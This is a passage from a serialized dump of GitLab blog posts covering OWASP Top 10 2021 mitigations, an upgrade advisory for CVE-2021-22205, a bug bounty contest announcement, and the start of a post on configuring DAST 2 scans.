– [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) and [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) scanners can sometimes help to find some classes of these issues. Automated tools can identify that user X can access feature Y; however, they often cannot determine if that user should have that level of access. This is where designing for security from the beginning comes into play, especially for authentication and authorization. Humans cannot be replaced with automation to detect many of these issues. Focused penetration testing and bug bounty programs are key to find things that may have slipped through the cracks.\n1. [Insecure design](https://owasp.org/Top10/A04_2021-Insecure_Design/) – Similar to the top controls for broken access control, it is essential to design for security at the beginning and monitor it over time. Teach developers how their applications may be attacked through threat modeling in order to enable them to design and evaluate the system design from a security-first mindset.\n1. [Software/data integrity](https://owasp.org/Top10/pt_BR/A08_2021-Software_and_Data_Integrity_Failures/) – Educate developers on attackers doing typosquatting on common libraries and inducing developers to use their libraries that have been compromised. Confirm your libraries and other dependencies are checked for known security issues via [GitLab Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), and/or Container Scanning and open source tools like [OWASP dependency check](https://owasp.org/www-project-dependency-check/). Also, consider tools like [package hunter](https://about.gitlab.com/blog/announcing-package-hunter/) that can help find malicious code in your dependencies.\n1. [Server-Side Request Forgery](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/) – Sanitize untrusted input data using hardened libraries and [fuzz test](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) your inputs to suss out unexpected behaviors. Implement allow lists for what should be permitted rather than deny lists that can be easily thwarted by a determined attacker. [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) and [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) scanners can often easily identify this class of issues.\n1. Keep diligence on the other top threats on the list via the above recommendations, including confirming monitoring and pre-established escalation runbooks for security issues. [Scan your code for secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/) that can accidentally leak into repositories. Keep an eye on [vulnerability trends](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) in your applications over time to make sure they are being vetted and addressed as appropriate. [Scan and monitor your containers](https://docs.gitlab.com/ee/user/application_security/container_scanning/) for security issues.\n\n## How do GitLab and other solutions measure up to these risks?\n\nNo one solution covers the entire threat in any category. A defense-in-depth strategy of employing multiple areas of validation is key to managing risk.\n\nMore information about how GitLab addresses these risks can be found on the [secure product metric page](/handbook/engineering/development/sec/secure/products/metrics/).\n\n| Security risk                                       | GitLab Secure & Protect | Penetration Testing | Bug Bounties | Security Training | Security-First Design | Security Monitoring & Escalation |\n|-----------------------------------------------------|-------------------------|---------------------|--------------|-------------------|-----------------------|----------------------------------|\n| A01:2021-Broken Access Control                      | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>               | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>         |  \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                 | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                           |\n| 02:2021-Cryptographic Failures                      | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>         | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>           | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                  | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                              |\n| 03:2021-Injection                                   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                  | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>          | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>             | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                  | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                          |\n| A05:2021-Security Misconfiguration                  | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>          | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>              | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                 | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                               |\n| A06:2021-Vulnerable and Outdated Components         | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                 | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                 | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>            | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>             | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                           |\n| A07:2021-Identification and Authentication Failures | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                       | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                 | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>      | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                 | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                  | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                             |\n| A08:2021-Software and Data Integrity Failures       | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>              | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>           | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>              | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                          |\n| A09:2021-Security Logging and Monitoring Failures   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>             | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>               | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                             |\n| A10:2021-Server-Side Request Forgery                | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                    | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>               | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>         | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                  | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                           |\n\nCoverage legend:\n\n\u003Cul>\n  \u003Cli>\n    \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-0\">\u003C/use>\u003C/svg> - 0%\n  \u003C/li>\n  \u003Cli>\n    \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg> - 25%\n  \u003C/li>\n  \u003Cli>\n    \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg> - 50%\n  \u003C/li>\n  \u003Cli>\n    \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg> - 75%\n  \u003C/li>\n  \u003Cli>\n    \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-100\">\u003C/use>\u003C/svg> - 100%\n  \u003C/li>\n\u003C/ul>\n\nCover image by [Joshua Golde](https://unsplash.com/@joshgmit?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\") on [Unsplash](https://unsplash.com/s/photos/ranking?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",{"slug":3834,"featured":6,"template":677},"top-five-actions-owasp-2021","content:en-us:blog:top-five-actions-owasp-2021.yml","Top Five Actions Owasp 2021","en-us/blog/top-five-actions-owasp-2021.yml","en-us/blog/top-five-actions-owasp-2021",{"_path":3840,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3841,"content":3846,"config":3851,"_id":3853,"_type":16,"title":3854,"_source":17,"_file":3855,"_stem":3856,"_extension":20},"/en-us/blog/action-needed-in-response-to-cve2021-22205",{"title":3842,"description":3843,"ogTitle":3842,"ogDescription":3843,"noIndex":6,"ogImage":3429,"ogUrl":3844,"ogSiteName":767,"ogType":768,"canonicalUrls":3844,"schema":3845},"Action needed by self-managed customers in response to CVE-2021-22205","Self-managed users using outdated versions should update immediately.","https://about.gitlab.com/blog/action-needed-in-response-to-cve2021-22205","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Action needed by self-managed customers in response to CVE-2021-22205\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-11-04\",\n      }",{"title":3842,"description":3843,"authors":3847,"heroImage":3429,"date":3848,"body":3849,"category":14,"tags":3850},[3435],"2021-11-04","\n\n[CVE-2021-22205](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205) is a critical severity vulnerability (CVSS 10.0) that is a result of improper validation of image files by a 3rd-party file parser Exif-Tool, resulting in a remote command execution vulnerability that can lead to the compromise of your GitLab instance.\n\nThis issue was remediated and patched in the [GitLab 13.10.3, 13.9.6, and 13.8.8 release from April 14, 2021](/releases/2021/04/14/security-release-gitlab-13-10-3-released/).\n\n**We have confirmed reports of the vulnerability being exploited on self-managed public-facing GitLab instances.** GitLab.com users are not affected.\n\n**GitLab versions affected by CVE-2021-22205:**\n\nSelf-managed customers running the following GitLab versions are vulnerable to this publicly available exploit:\n* 11.9.x - 13.8.7\n* 13.9.0 - 13.9.5\n* 13.10.0 - 13.10.2 \n\nGitLab self-managed administrators can see their GitLab version at `\u003Cgitlab_url>/admin`.\nSee more about the [dashboard](https://docs.gitlab.com/ee/administration/admin_area.html#admin-area-dashboard).\n\n**Determine if you have been impacted:**\n\nSteps that users can take to investigate whether their GitLab instance has been compromised are outlined in this forum post, [\"CVE-2021-22205: How to determine if a self-managed instance has been impacted\"](https://forum.gitlab.com/t/cve-2021-22205-how-to-determine-if-a-self-managed-instance-has-been-impacted/60918).\n\n**Action you need to take:**\n\nDue to the severity and potential impact from exploitation of this vulnerability, it is imperative users upgrade to a fixed version as soon as possible: [https://about.gitlab.com/update](/update). This issue was remediated and patched in the [GitLab 13.10.3, 13.9.6, and 13.8.8 release from April 14, 2021](/releases/2021/04/14/security-release-gitlab-13-10-3-released/).\n\nIf you can't upgrade quickly, a [hotpatch is available](https://forum.gitlab.com/t/cve-2021-22205-how-to-determine-if-a-self-managed-instance-has-been-impacted/60918/2).\n  \nIf you have questions, you may post in our [forum on this topic](https://forum.gitlab.com/t/cve-2021-22205-how-to-determine-if-a-self-managed-instance-has-been-impacted/60918). If you have an active Support contract, please create a support ticket at [support.gitlab.com](http://support.gitlab.com/).\n\nPlease [subscribe to our security alarts mailing list](https://about.gitlab.com/company/preference-center/).\n",[14],{"slug":3852,"featured":6,"template":677},"action-needed-in-response-to-cve2021-22205","content:en-us:blog:action-needed-in-response-to-cve2021-22205.yml","Action Needed In Response To Cve2021 22205","en-us/blog/action-needed-in-response-to-cve2021-22205.yml","en-us/blog/action-needed-in-response-to-cve2021-22205",{"_path":3858,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3859,"content":3865,"config":3870,"_id":3872,"_type":16,"title":3873,"_source":17,"_file":3874,"_stem":3875,"_extension":20},"/en-us/blog/3rd-annual-bug-bounty-contest",{"title":3860,"description":3861,"ogTitle":3860,"ogDescription":3861,"noIndex":6,"ogImage":3862,"ogUrl":3863,"ogSiteName":767,"ogType":768,"canonicalUrls":3863,"schema":3864},"Our 3rd annual bug bounty contest: the swagtastic sequel to the sequel","We’re running a bug bounty contest November 1 thru December 3. Find a bug and be entered to win some sweet custom swag. What’s better than a contest? Increased bounty ranges!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670997/Blog/Hero%20Images/BB-3rd-Anniversary-blog-header.png","https://about.gitlab.com/blog/3rd-annual-bug-bounty-contest","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our 3rd annual bug bounty contest: the swagtastic sequel to the sequel\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-11-01\",\n      }",{"title":3860,"description":3861,"authors":3866,"heroImage":3862,"date":3867,"body":3868,"category":14,"tags":3869},[3178],"2021-11-01","Our favorite time of the year is here! That time of year when we *try* to pause 😅 , reflect, and look back at the year’s accomplishments 🙌 .  \n\nFor our [Application Security](/handbook/security/security-engineering/application-security/) group here at GitLab, this means we’re looking back on the efforts we’ve made to secure the GitLab application. A big part of securing our product comes from the contributions of extremely talented bug bounty hunters across the globe who work year round to seek and identify bugs in our platform. So far this year we had 670 submissions from 359 different reporters.\n\nThank you to everyone who has contributed this year via our [HackerOne program](https://hackerone.com/gitlab). \n\n## 🎉 Increased bounties across all bounty ranges 🎉\n\n**New!** _Updated November 22, 2021_ We value the innovative and hugely impactful contributions made by security researchers through our bug bounty program and want to ensure we’re competitively rewarding and recognizing those contributions. Because of this, we’re raising our bounties for new reports submitted after 16:00 UTC November 22, 2021.\n\n| **Critical** | **High** | **Medium** | **Low** |\n|:-----------:|:-----------:|:-----------:|:-----------:|\n| $20,000 - $35,000 | $5,000 - $15,000 | $1,000 - $2500 | $100 - $750 |\n\n### Standardizing bounty calculations\nAlso of note, we’re working to further standardize the way we calculate both severities and bounties with our new [CVSS calculator](https://gitlab-com.gitlab.io/gl-security/appsec/cvss-calculator/) developed by Application Security team member, [Michael Henriksen](/company/team/#mhenriksen). This calculator allows us to be more transparent and consistent in our award process. We plan to dive deeper into our [HackerOne process](/handbook/security/security-engineering/application-security/runbooks/hackerone-process.html) and [CVSS-based scoring method](/handbook/security/security-engineering/application-security/runbooks/cvss-calculation.html) in a blog next quarter.\n\nAnd, to celebrate our bug bounty hunting community and our [third year as a public bug bounty program](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/), we’re holding a Bug Bounty contest starting November 1 until December 3, 2021!\n\n## \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-birthday-cake\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  Three-year anniversary hacking contest \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-bug\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>\n{: .text-center} \n\\\n\\\n**Our community hacking contest kicks off November 1 at 4 am UTC and closes on December 3, 2021 at 4 pm UTC. Just find and report a bug to our [HackerOne bug bounty program](https://hackerone.com/gitlab) and you're entered to win.**  The top contributor in the following categories will receive a sweet piece of custom GitLab swag:  \n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most reputation points from submissions to our program.** Collect the most reputation points from submissions to our program and win!\n{: #id-card-black}\n\n\u003Ci class=\"far fa-address-card fa-fw\" style=\"color:rgb(56,13,117); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most reputation points *collected by a reporter new to our program***. Getting started with a new bug bounty program is difficult. This one goes out to all the new reporters out there.\n{: #id-card-purple}\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Best written report.** See above. A well-written report goes a long way to demonstrate impact and to help us reproduce the problem efficiently and accurately.\n{: #id-pencil}\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.** Sometimes reporters demonstrate true out-of-the-box thinking in their approach to finding bugs. We appreciate this creativity.\n{: #id-lightbulb}\n\n\u003Ci class=\"fas fa-rocket fa-fw\" style=\"color:rgb(252,109,38); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.** At the end of the day, these high-risk, high-reward vulnerabilities are what we’re all looking for.\n{: #id-rocket} \n\n**The winners will be announced on Dec. 14, 2021 via a [GitLab blog](/blog/) post and on [Twitter](https://twitter.com/gitlab).** A contributor can win at most one category. Of course, regular bounties still apply to any of your findings.   \n\n## Need some inspiration? \n\nWe release new features on the 22nd of every month. Might we suggest [learning more about our release process](/releases/) and checking out the latest [monthly release blog post](/releases/categories/releases/) for some inspiration? 😉\n\nYou can get tips on what our team looks for in bug bounty reports, by reading [“Our top tips for better bug bounty reports“](/blog/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest/).\n\n### Learn from some of the best\n\n👉  In our blog, Riccardo Padovani, [@rpadovani on HackerOne](https://hackerone.com/rpadovani?type=user), shared [advice they’d give someone looking to start participating as a researcher in a bug bounty program](/blog/rpadovani-ask-a-hacker/#what-advice-would-you-give-someone-looking-to-start-participating-as-a-researcher-in-a-bug-bounty-program).   \n\n> Take note of features that are interesting to you. Keep notes where you can review what you have already done, and what you have already found. This will be useful if you step away and come back to a target. It takes time and it takes luck. Do not leave your day job until you are well on your way, and remember to set aside some money to pay your taxes when they are due!\n\n🔎  In this clip from his [GitLab AMA](https://youtu.be/SK_vuZCafZ4), Riccardo talks about how he approaches bug hunting on GitLab.   \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/XRBeYXb9IlA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n⏱  In this clip from his [GitLab AMA](https://youtu.be/Km6toD6CAAw), Alex Chapman, [@ajxchapman on HackerOne](https://hackerone.com/ajxchapman?type=user), talks about how he efficiently and effectively fits bug bounty hunting in with all of life’s other priorities. You can learn more about his approach in our blog post, [“How do bug bounty hunters use GitLab to help their hack?“](/blog/how-i-use-gitlab-to-help-my-hack/).  \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/hECvkY6LnUU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n👀  See how William Bowling, [@vakzz on HackerOne](https://hackerone.com/vakzz), responded to a question around how he chooses which programs and features he’ll focus his bug bounty hunting efforts on in a [recent GitLab AMA](https://youtu.be/kw168DGAILk).  \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/eDwnTmuWFsE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n🕵️  And, check out this video to see what top bug bounty hunter, contributor, and GitLab alumni, Ron Chan, ([@ngalog](https://hackerone.com/ngalog?type=user) on HackerOne) shares as his [“Secret to finding critical security issues on GitLab”](https://www.youtube.com/watch?v=5ORBcUo1jqY)? \n\n*If you’re wondering what the custom GitLab swag might be you can check out [2020’s giveaway (and the winners)](/blog/twenty-twenty-through-a-bug-bounty-lens/) and peep [what we gave away in 2019, and who won](/blog/bugs-bounties-and-cherry-browns/). Know that we want you to contribute in style.* 😎  \n\nHappy hacking!\n",[14,899],{"slug":3871,"featured":6,"template":677},"3rd-annual-bug-bounty-contest","content:en-us:blog:3rd-annual-bug-bounty-contest.yml","3rd Annual Bug Bounty Contest","en-us/blog/3rd-annual-bug-bounty-contest.yml","en-us/blog/3rd-annual-bug-bounty-contest",{"_path":3877,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3878,"content":3884,"config":3889,"_id":3891,"_type":16,"title":3892,"_source":17,"_file":3893,"_stem":3894,"_extension":20},"/en-us/blog/how-were-using-dast2-for-easier-scan-configuration",{"title":3879,"description":3880,"ogTitle":3879,"ogDescription":3880,"noIndex":6,"ogImage":3881,"ogUrl":3882,"ogSiteName":767,"ogType":768,"canonicalUrls":3882,"schema":3883},"How we’re using DAST 2 for easier scan configuration and reduced noise","Our security team upgraded to GitLab’s DAST 2. Here’s how and why we did it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682167/Blog/Hero%20Images/pexels-chernaya-575.jpg","https://about.gitlab.com/blog/how-were-using-dast2-for-easier-scan-configuration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we’re using DAST 2 for easier scan configuration and reduced noise\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nikhil George\"}],\n        \"datePublished\": \"2021-10-27\",\n      }",{"title":3879,"description":3880,"authors":3885,"heroImage":3881,"date":3886,"body":3887,"category":14,"tags":3888},[1569],"2021-10-27","\n\nAt GitLab, [dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding) is part of our core value of [results](https://handbook.gitlab.com/handbook/values/#results). Inspired by this principle, we use all GitLab [security scanning tools available as part of our product](https://docs.gitlab.com/ee/user/application_security/) within our organization to identify security vulnerabilities early in the development phase. One such scanning tool is the [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/index.html) scanner, which helps identify security vulnerabilities in web application deployments. The DAST scanner is a black-box testing tool that interacts with a web application like a user and tests for security vulnerabilities. \n\nWe’ve since updated GitLab’s DAST CI job configuration to make use of the latest DAST analyzer features offered in [DAST 2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69054). This blog post details how we configured DAST version 1 to work for our needs, our move to DAST 2 (along with details on our configs) and the benefits we’re seeing so far. _Hint: Big wins in efficiency!_ \n\n## How we made DAST 1 work for us\n\nMy teammate [Dennis Appelt](/company/team/#dappelt) blogged previously about how [we configured DAST scans](/blog/how-to-configure-dast-full-scans-for-complex-web-applications/) in our [pipeline](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/dast.gitlab-ci.yml) to scan the GitLab web application periodically using DAST 1. As detailed in that blog, running a DAST scan on a complex web application like GitLab from the CI pipeline requires a bit of planning to optimize the scan time and prevent CI job [timeouts](https://docs.gitlab.com/ee/ci/pipelines/settings.html#set-a-limit-for-how-long-jobs-can-run). With DAST 1, our approach was to split the DAST scan into multiple, parallel CI jobs and exclude irrelevant scan rules to achieve optimization and prevent job timeouts. \n\nWhen configuring a parallel DAST scan, each DAST job is set to execute a mutually exclusive list of scan rules. These scan rules are selected such that they will finish execution within the set CI job timeout.\n\n_note: In the GitLab DAST pipeline line, the [`DAST_EXCLUDE_RULES`](https://docs.gitlab.com/ee/user/application_security/dast/#enable-or-disable-rules) CI/CD variable was used to disable specific scan rules as `DAST_ONLY_INCLUDE_RULES` was not available until [DAST v1.53.0](https://gitlab.com/gitlab-org/security-products/dast/-/blob/main/CHANGELOG.md#v1530)._ \n\n### Addressing challenges with job timeouts\n\nUsing an exclusion list, the go-to option for disabling scan rules until DAST v1.53.0, works fine until there’s a new version of DAST analyzer, which comes with a new scan rule. By default, DAST auto-update is turned on and all newly-introduced scan rules get executed in all the DAST jobs. As a result, the DAST jobs could face timeout issues if the addition of a new scan rule increases the scan duration beyond the configured CI job timeout duration. In addition, the default execution of the newly-added scan rules in all the DAST jobs, results in duplicate scans -- a waste of CI cycles.  \n\n### Test, verify and check auto-update status\n\nTo prevent default execution of the newly-added scan rules while using a DAST version earlier than 1.53, enable new scan rules in a single DAST job. This single DAST job should be tested to verify that it runs within the set CI job timeout; this is a repetitive and manual effort. A short-term workaround employed by our team in this case was to disable DAST auto-update by pinning the DAST analyzer to a specific release version by mentioning the version number in `DAST_VERSION` CI/CD variable.\n\n## DAST 2 improvements\n\nDAST 2 was released with [GitLab 14.0](/releases/2021/06/22/gitlab-14-0-released/) in June 2021 and introduced a bunch of [interesting features and config options](https://gitlab.com/gitlab-org/security-products/dast/-/blob/main/CHANGELOG.md#v200) that made DAST configuration and vulnerability management much easier. \n\nAs we had disabled DAST auto-update in the GitLab pipeline, we were missing out on all the new features and bug fixes that came with different minor and major version updates. You can see the [configuration changes we performed to upgrade the DAST pipeline from version 1.22.1 to 2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69054).\n\n### Streamlining vulnerability triage\n\nOne new feature of DAST 2 that we’re finding especially valuable on GitLab is the [aggregation of vulnerabilities](https://gitlab.com/gitlab-org/gitlab/-/issues/254043). During a DAST scan of a web application, there are many vulnerabilities that are common to multiple web requests. For instance, the [X-Frame-Options Header Not Set](https://www.zaproxy.org/docs/alerts/10020/) plugin checks if `X-Frame-Options` HTTP headers are present in each response and reports a vulnerability for every applicable request. This resulted in creation of multiple, duplicate, true-positive vulnerabilities in the vulnerability dashboard. The new vulnerability aggregation feature groups vulnerabilities created from plugins like this into a single vulnerability, irrespective of the number of times it is detected in the scan. This makes vulnerability triage much faster as only one vulnerability is now reported for plugins like this. \n\nOther benefits include:\n- [upgraded versions](https://gitlab.com/gitlab-org/security-products/dast/-/merge_requests/520) of a browser-based crawler;\n- bug fixes; and\n- availability of [better configuration option](https://gitlab.com/gitlab-org/security-products/dast/-/blob/main/CHANGELOG.md#v203) for the browser-based scans.\n\nTake a peek at the [change log](https://gitlab.com/gitlab-org/security-products/dast/-/blob/main/CHANGELOG.md) to see everything that’s new!\n\n## How we updated GitLab’s DAST CI job \n\nOur move to DAST version 2 and updating GitLab's DAST CI job included three steps:\n1. Move to `DAST_ONLY_INCLUDE_RULES`.\n1. Update DAST analyzer to version 2 and enable 